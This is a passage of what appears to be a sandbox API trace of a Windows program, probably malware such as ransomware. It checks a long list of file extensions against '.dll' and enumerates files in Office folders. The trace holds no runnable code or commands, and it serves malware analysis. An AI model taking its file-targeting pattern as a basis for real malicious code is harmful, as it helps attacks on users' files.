(lpString=".bd") returned 3 [0264.977] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0264.977] lstrlenW (lpString=".bin") returned 4 [0264.977] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0264.977] lstrlenW (lpString=".bmp") returned 4 [0264.977] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0264.977] lstrlenW (lpString=".bz2") returned 4 [0264.977] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0264.977] lstrlenW (lpString=".c") returned 2 [0264.977] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0264.977] lstrlenW (lpString=".cdr") returned 4 [0264.977] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0264.977] lstrlenW (lpString=".cer") returned 4 [0264.977] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0264.977] lstrlenW (lpString=".cf") returned 3 [0264.977] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0264.977] lstrlenW (lpString=".cfc") returned 4 [0264.978] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0264.978] lstrlenW (lpString=".cfm") returned 4 [0264.978] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0264.978] lstrlenW (lpString=".cfml") returned 5 [0264.978] lstrcmpiW (lpString1=".cfml", lpString2="h.dll") returned -1 [0264.978] lstrlenW (lpString=".cfu") returned 4 [0264.978] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0264.978] lstrlenW (lpString=".chm") returned 4 [0264.978] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0264.978] lstrlenW (lpString=".cin") returned 4 [0264.978] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0264.978] lstrlenW (lpString=".class") returned 6 [0264.978] lstrcmpiW (lpString1=".class", lpString2="th.dll") returned -1 [0264.978] lstrlenW (lpString=".clx") returned 4 [0264.978] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0264.978] lstrlenW (lpString=".config") returned 7 [0264.978] lstrcmpiW (lpString1=".config", lpString2="ath.dll") returned -1 [0264.978] lstrlenW (lpString=".cpp") returned 4 [0264.978] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0264.978] lstrlenW (lpString=".cr2") returned 4 [0264.978] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0264.978] lstrlenW (lpString=".crt") returned 4 [0264.978] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0264.978] lstrlenW (lpString=".crw") returned 4 [0264.978] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0264.978] lstrlenW (lpString=".cs") returned 3 [0264.978] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0264.978] lstrlenW (lpString=".css") returned 4 [0264.978] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0264.978] lstrlenW (lpString=".csv") returned 4 [0264.978] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0264.978] lstrlenW (lpString=".cub") returned 4 [0264.978] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0264.978] lstrlenW (lpString=".dae") returned 4 [0264.978] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0264.978] lstrlenW (lpString=".dat") returned 4 [0264.979] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0264.979] lstrlenW (lpString=".db") returned 3 [0264.979] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0264.979] lstrlenW (lpString=".dbf") returned 4 [0264.979] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0264.979] lstrlenW (lpString=".dbx") returned 4 [0264.979] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0264.979] lstrlenW (lpString=".dc3") returned 4 [0264.979] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0264.979] lstrlenW (lpString=".dcm") returned 4 [0264.979] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0264.979] lstrlenW (lpString=".dcr") returned 4 [0264.979] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0264.979] lstrlenW (lpString=".der") returned 4 [0264.979] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0264.979] lstrlenW (lpString=".dib") returned 4 [0264.979] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0264.979] lstrlenW (lpString=".dic") returned 4 [0264.979] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0264.979] lstrlenW (lpString=".dif") returned 4 [0264.979] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0264.979] lstrlenW (lpString=".divx") returned 5 [0264.979] lstrcmpiW (lpString1=".divx", lpString2="h.dll") returned -1 [0264.979] lstrlenW (lpString=".djvu") returned 5 [0264.979] lstrcmpiW (lpString1=".djvu", lpString2="h.dll") returned -1 [0264.979] lstrlenW (lpString=".dng") returned 4 [0264.979] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0264.979] lstrlenW (lpString=".doc") returned 4 [0264.979] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0264.979] lstrlenW (lpString=".docm") returned 5 [0264.979] lstrcmpiW (lpString1=".docm", lpString2="h.dll") returned -1 [0264.979] lstrlenW (lpString=".docx") returned 5 [0264.979] lstrcmpiW (lpString1=".docx", lpString2="h.dll") returned -1 [0264.979] lstrlenW (lpString=".dot") returned 4 [0264.979] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0264.979] lstrlenW (lpString=".dotm") returned 5 [0264.980] lstrcmpiW (lpString1=".dotm", lpString2="h.dll") returned -1 [0264.980] lstrlenW (lpString=".dotx") returned 5 [0264.980] lstrcmpiW (lpString1=".dotx", lpString2="h.dll") returned -1 [0264.980] lstrlenW (lpString=".dpx") returned 4 [0264.980] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0264.980] lstrlenW (lpString=".dqy") returned 4 [0264.980] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0264.980] lstrlenW (lpString=".dsn") returned 4 [0264.980] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0264.980] lstrlenW (lpString=".dt") returned 3 [0264.980] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0264.980] lstrlenW (lpString=".dtd") returned 4 [0264.980] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0264.980] lstrlenW (lpString=".dwg") returned 4 [0264.980] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0264.980] lstrlenW (lpString=".dwt") returned 4 [0264.980] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0264.980] lstrlenW (lpString=".dx") returned 3 [0264.980] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0264.980] lstrlenW (lpString=".dxf") returned 4 [0264.980] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0264.980] lstrlenW (lpString=".edml") returned 5 [0264.980] lstrcmpiW (lpString1=".edml", lpString2="h.dll") returned -1 [0264.980] lstrlenW (lpString=".efd") returned 4 [0264.980] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0264.980] lstrlenW (lpString=".elf") returned 4 [0264.980] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0264.980] lstrlenW (lpString=".emf") returned 4 [0264.980] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0264.980] lstrlenW (lpString=".emz") returned 4 [0264.980] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0264.980] lstrlenW (lpString=".epf") returned 4 [0264.980] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0264.980] lstrlenW (lpString=".eps") returned 4 [0264.980] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0264.980] lstrlenW (lpString=".epsf") returned 5 [0264.981] lstrcmpiW (lpString1=".epsf", lpString2="h.dll") returned -1 [0264.981] lstrlenW (lpString=".epsp") returned 5 [0264.981] lstrcmpiW (lpString1=".epsp", lpString2="h.dll") returned -1 [0264.981] lstrlenW (lpString=".erf") returned 4 [0264.981] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0264.981] lstrlenW (lpString=".exr") returned 4 [0264.981] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0264.981] lstrlenW (lpString=".f4v") returned 4 [0264.981] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0264.981] lstrlenW (lpString=".fido") returned 5 [0264.981] lstrcmpiW (lpString1=".fido", lpString2="h.dll") returned -1 [0264.981] lstrlenW (lpString=".flm") returned 4 [0264.981] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0264.981] lstrlenW (lpString=".flv") returned 4 [0264.981] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0264.981] lstrlenW (lpString=".frm") returned 4 [0264.981] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0264.981] lstrlenW (lpString=".fxg") returned 4 [0264.981] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0264.981] lstrlenW (lpString=".geo") returned 4 [0264.981] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0264.981] lstrlenW (lpString=".gif") returned 4 [0264.981] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0264.981] lstrlenW (lpString=".grs") returned 4 [0264.981] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0264.981] lstrlenW (lpString=".gz") returned 3 [0264.981] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0264.981] lstrlenW (lpString=".h") returned 2 [0264.981] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0264.981] lstrlenW (lpString=".hdr") returned 4 [0264.981] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0264.981] lstrlenW (lpString=".hpp") returned 4 [0264.981] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0264.981] lstrlenW (lpString=".hta") returned 4 [0264.981] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0264.981] lstrlenW (lpString=".htc") returned 4 [0264.982] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0264.982] lstrlenW (lpString=".htm") returned 4 [0264.982] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0264.982] lstrlenW (lpString=".html") returned 5 [0264.982] lstrcmpiW (lpString1=".html", lpString2="h.dll") returned -1 [0264.982] lstrlenW (lpString=".icb") returned 4 [0264.982] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0264.982] lstrlenW (lpString=".ics") returned 4 [0264.982] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0264.982] lstrlenW (lpString=".iff") returned 4 [0264.982] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0264.982] lstrlenW (lpString=".inc") returned 4 [0264.982] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0264.982] lstrlenW (lpString=".indd") returned 5 [0264.982] lstrcmpiW (lpString1=".indd", lpString2="h.dll") returned -1 [0264.982] lstrlenW (lpString=".ini") returned 4 [0264.982] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0264.982] lstrlenW (lpString=".iqy") returned 4 [0264.982] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0264.982] lstrlenW (lpString=".j2c") returned 4 [0264.982] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0264.982] lstrlenW (lpString=".j2k") returned 4 [0264.982] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0264.982] lstrlenW (lpString=".java") returned 5 [0264.982] lstrcmpiW (lpString1=".java", lpString2="h.dll") returned -1 [0264.982] lstrlenW (lpString=".jp2") returned 4 [0264.982] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0264.982] lstrlenW (lpString=".jpc") returned 4 [0264.982] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0264.982] lstrlenW (lpString=".jpe") returned 4 [0264.982] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0264.982] lstrlenW (lpString=".jpeg") returned 5 [0264.982] lstrcmpiW (lpString1=".jpeg", lpString2="h.dll") returned -1 [0264.982] lstrlenW (lpString=".jpf") returned 4 [0264.982] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0264.983] lstrlenW (lpString=".jpg") returned 4 [0264.983] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0264.983] lstrlenW (lpString=".jpx") returned 4 [0264.983] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0264.983] lstrlenW (lpString=".js") returned 3 [0264.983] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0264.983] lstrlenW (lpString=".jsf") returned 4 [0264.983] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0264.983] lstrlenW (lpString=".json") returned 5 [0264.983] lstrcmpiW (lpString1=".json", lpString2="h.dll") returned -1 [0264.983] lstrlenW (lpString=".jsp") returned 4 [0264.983] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0264.983] lstrlenW (lpString=".kdc") returned 4 [0264.983] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0264.983] lstrlenW (lpString=".kmz") returned 4 [0264.983] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0264.983] lstrlenW (lpString=".kwm") returned 4 [0264.983] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0264.983] lstrlenW (lpString=".lasso") returned 6 [0264.983] lstrcmpiW (lpString1=".lasso", lpString2="th.dll") returned -1 [0264.983] lstrlenW (lpString=".lbi") returned 4 [0264.983] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0264.983] lstrlenW (lpString=".lgf") returned 4 [0264.983] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0264.983] lstrlenW (lpString=".lgp") returned 4 [0264.983] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0264.983] lstrlenW (lpString=".log") returned 4 [0264.983] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0264.983] lstrlenW (lpString=".m1v") returned 4 [0264.983] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0264.983] lstrlenW (lpString=".m4a") returned 4 [0264.983] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0264.983] lstrlenW (lpString=".m4v") returned 4 [0264.983] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0264.983] lstrlenW (lpString=".max") returned 4 [0264.984] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0264.984] lstrlenW (lpString=".md") returned 3 [0264.984] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0264.984] lstrlenW (lpString=".mda") returned 4 [0264.984] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0264.984] lstrlenW (lpString=".mdb") returned 4 [0264.984] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0264.984] lstrlenW (lpString=".mde") returned 4 [0264.984] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0264.984] lstrlenW (lpString=".mdf") returned 4 [0264.984] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0264.984] lstrlenW (lpString=".mdw") returned 4 [0264.984] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0264.984] lstrlenW (lpString=".mef") returned 4 [0264.984] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0264.984] lstrlenW (lpString=".mft") returned 4 [0264.984] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0264.984] lstrlenW (lpString=".mfw") returned 4 [0264.984] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0264.984] lstrlenW (lpString=".mht") returned 4 [0264.984] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0264.984] lstrlenW (lpString=".mhtml") returned 6 [0264.984] lstrcmpiW (lpString1=".mhtml", lpString2="th.dll") returned -1 [0264.984] lstrlenW (lpString=".mka") returned 4 [0264.984] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0264.984] lstrlenW (lpString=".mkidx") returned 6 [0264.984] lstrcmpiW (lpString1=".mkidx", lpString2="th.dll") returned -1 [0264.984] lstrlenW (lpString=".mkv") returned 4 [0264.984] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0264.984] lstrlenW (lpString=".mos") returned 4 [0264.984] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0264.984] lstrlenW (lpString=".mov") returned 4 [0264.984] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0264.984] lstrlenW (lpString=".mp3") returned 4 [0264.984] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0264.985] lstrlenW (lpString=".mp4") returned 4 [0264.985] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0264.985] lstrlenW (lpString=".mpeg") returned 5 [0264.985] lstrcmpiW (lpString1=".mpeg", lpString2="h.dll") returned -1 [0264.985] lstrlenW (lpString=".mpg") returned 4 [0264.985] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0264.985] lstrlenW (lpString=".mpv") returned 4 [0264.985] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0264.985] lstrlenW (lpString=".mrw") returned 4 [0264.985] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0264.985] lstrlenW (lpString=".msg") returned 4 [0264.985] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0264.985] lstrlenW (lpString=".mxl") returned 4 [0264.985] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0264.985] lstrlenW (lpString=".myd") returned 4 [0264.985] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0264.985] lstrlenW (lpString=".myi") returned 4 [0264.985] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0264.985] lstrlenW (lpString=".nef") returned 4 [0264.985] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0264.985] lstrlenW (lpString=".nrw") returned 4 [0264.985] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0264.985] lstrlenW (lpString=".obj") returned 4 [0264.985] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0264.985] lstrlenW (lpString=".odb") returned 4 [0264.985] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0264.985] lstrlenW (lpString=".odc") returned 4 [0264.985] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0264.985] lstrlenW (lpString=".odm") returned 4 [0264.985] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0264.985] lstrlenW (lpString=".odp") returned 4 [0264.985] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0264.985] lstrlenW (lpString=".ods") returned 4 [0264.985] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0264.985] lstrlenW (lpString=".oft") returned 4 [0264.985] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0264.986] lstrlenW (lpString=".one") returned 4 [0264.986] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0264.986] lstrlenW (lpString=".onepkg") returned 7 [0264.986] lstrcmpiW (lpString1=".onepkg", lpString2="ath.dll") returned -1 [0264.986] lstrlenW (lpString=".onetoc2") returned 8 [0264.986] lstrcmpiW (lpString1=".onetoc2", lpString2="path.dll") returned -1 [0264.986] lstrlenW (lpString=".opt") returned 4 [0264.986] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0264.986] lstrlenW (lpString=".oqy") returned 4 [0264.986] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0264.986] lstrlenW (lpString=".orf") returned 4 [0264.986] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0264.986] lstrlenW (lpString=".p12") returned 4 [0264.986] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0264.986] lstrlenW (lpString=".p7b") returned 4 [0264.986] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0264.986] lstrlenW (lpString=".p7c") returned 4 [0264.986] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0264.986] lstrlenW (lpString=".pam") returned 4 [0264.986] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0264.986] lstrlenW (lpString=".pbm") returned 4 [0264.986] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0264.986] lstrlenW (lpString=".pct") returned 4 [0264.986] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0264.986] lstrlenW (lpString=".pcx") returned 4 [0264.986] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0264.986] lstrlenW (lpString=".pdd") returned 4 [0264.986] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0264.986] lstrlenW (lpString=".pdf") returned 4 [0264.986] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0264.986] lstrlenW (lpString=".pdp") returned 4 [0264.986] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0264.986] lstrlenW (lpString=".pef") returned 4 [0264.986] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0264.986] lstrlenW (lpString=".pem") returned 4 [0264.986] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0264.987] lstrlenW (lpString=".pff") returned 4 [0264.987] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0264.987] lstrlenW (lpString=".pfm") returned 4 [0264.987] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0264.987] lstrlenW (lpString=".pfx") returned 4 [0264.987] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0264.987] lstrlenW (lpString=".pgm") returned 4 [0264.987] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0264.987] lstrlenW (lpString=".php") returned 4 [0264.987] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0264.987] lstrlenW (lpString=".php3") returned 5 [0264.987] lstrcmpiW (lpString1=".php3", lpString2="h.dll") returned -1 [0264.987] lstrlenW (lpString=".php4") returned 5 [0264.987] lstrcmpiW (lpString1=".php4", lpString2="h.dll") returned -1 [0264.987] lstrlenW (lpString=".php5") returned 5 [0264.987] lstrcmpiW (lpString1=".php5", lpString2="h.dll") returned -1 [0264.987] lstrlenW (lpString=".phtml") returned 6 [0264.987] lstrcmpiW (lpString1=".phtml", lpString2="th.dll") returned -1 [0264.987] lstrlenW (lpString=".pict") returned 5 [0264.987] lstrcmpiW (lpString1=".pict", lpString2="h.dll") returned -1 [0264.987] lstrlenW (lpString=".pl") returned 3 [0264.987] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0264.987] lstrlenW (lpString=".pls") returned 4 [0264.987] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0264.987] lstrlenW (lpString=".pm") returned 3 [0264.987] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0264.987] lstrlenW (lpString=".png") returned 4 [0264.987] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0264.987] lstrlenW (lpString=".pnm") returned 4 [0264.987] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0264.987] lstrlenW (lpString=".pot") returned 4 [0264.987] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0264.987] lstrlenW (lpString=".potm") returned 5 [0264.987] lstrcmpiW (lpString1=".potm", lpString2="h.dll") returned -1 [0264.987] lstrlenW (lpString=".potx") returned 5 [0264.987] lstrcmpiW (lpString1=".potx", lpString2="h.dll") returned -1 [0264.988] lstrlenW (lpString=".ppa") returned 4 [0264.988] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0264.988] lstrlenW (lpString=".ppam") returned 5 [0264.988] lstrcmpiW (lpString1=".ppam", lpString2="h.dll") returned -1 [0264.988] lstrlenW (lpString=".ppm") returned 4 [0264.988] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0264.988] lstrlenW (lpString=".pps") returned 4 [0264.988] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0264.988] lstrlenW (lpString=".ppsm") returned 5 [0264.988] lstrcmpiW (lpString1=".ppsm", lpString2="h.dll") returned -1 [0264.988] lstrlenW (lpString=".ppt") returned 4 [0264.988] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0264.988] lstrlenW (lpString=".pptm") returned 5 [0264.988] lstrcmpiW (lpString1=".pptm", lpString2="h.dll") returned -1 [0264.988] lstrlenW (lpString=".pptx") returned 5 [0264.988] lstrcmpiW (lpString1=".pptx", lpString2="h.dll") returned -1 [0264.988] lstrlenW (lpString=".prn") returned 4 [0264.988] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0264.988] lstrlenW (lpString=".ps") returned 3 [0264.988] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0264.988] lstrlenW (lpString=".psb") returned 4 [0264.988] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0264.988] lstrlenW (lpString=".psd") returned 4 [0264.988] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0264.988] lstrlenW (lpString=".pst") returned 4 [0264.988] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0264.988] lstrlenW (lpString=".ptx") returned 4 [0264.988] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0264.988] lstrlenW (lpString=".pub") returned 4 [0264.988] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0264.988] lstrlenW (lpString=".pwm") returned 4 [0264.988] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0264.989] RtlpDeCommitFreeBlock () [0264.989] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xb770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0264.989] RtlpDeCommitFreeBlock () [0264.989] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMV12", cAlternateFileName="INFOPA~1")) returned 1 [0264.989] RtlpDeCommitFreeBlock () [0264.989] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xe770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0264.989] RtlpDeCommitFreeBlock () [0264.989] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x61d191f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x7bb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="INLAUNCH.DLL", cAlternateFileName="")) returned 1 [0264.991] RtlpDeCommitFreeBlock () [0264.991] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x62688, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUROTOOL.XLAM", cAlternateFileName="EUROTO~1.XLA")) returned 1 [0264.992] RtlpDeCommitFreeBlock () [0264.992] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f310 | out: 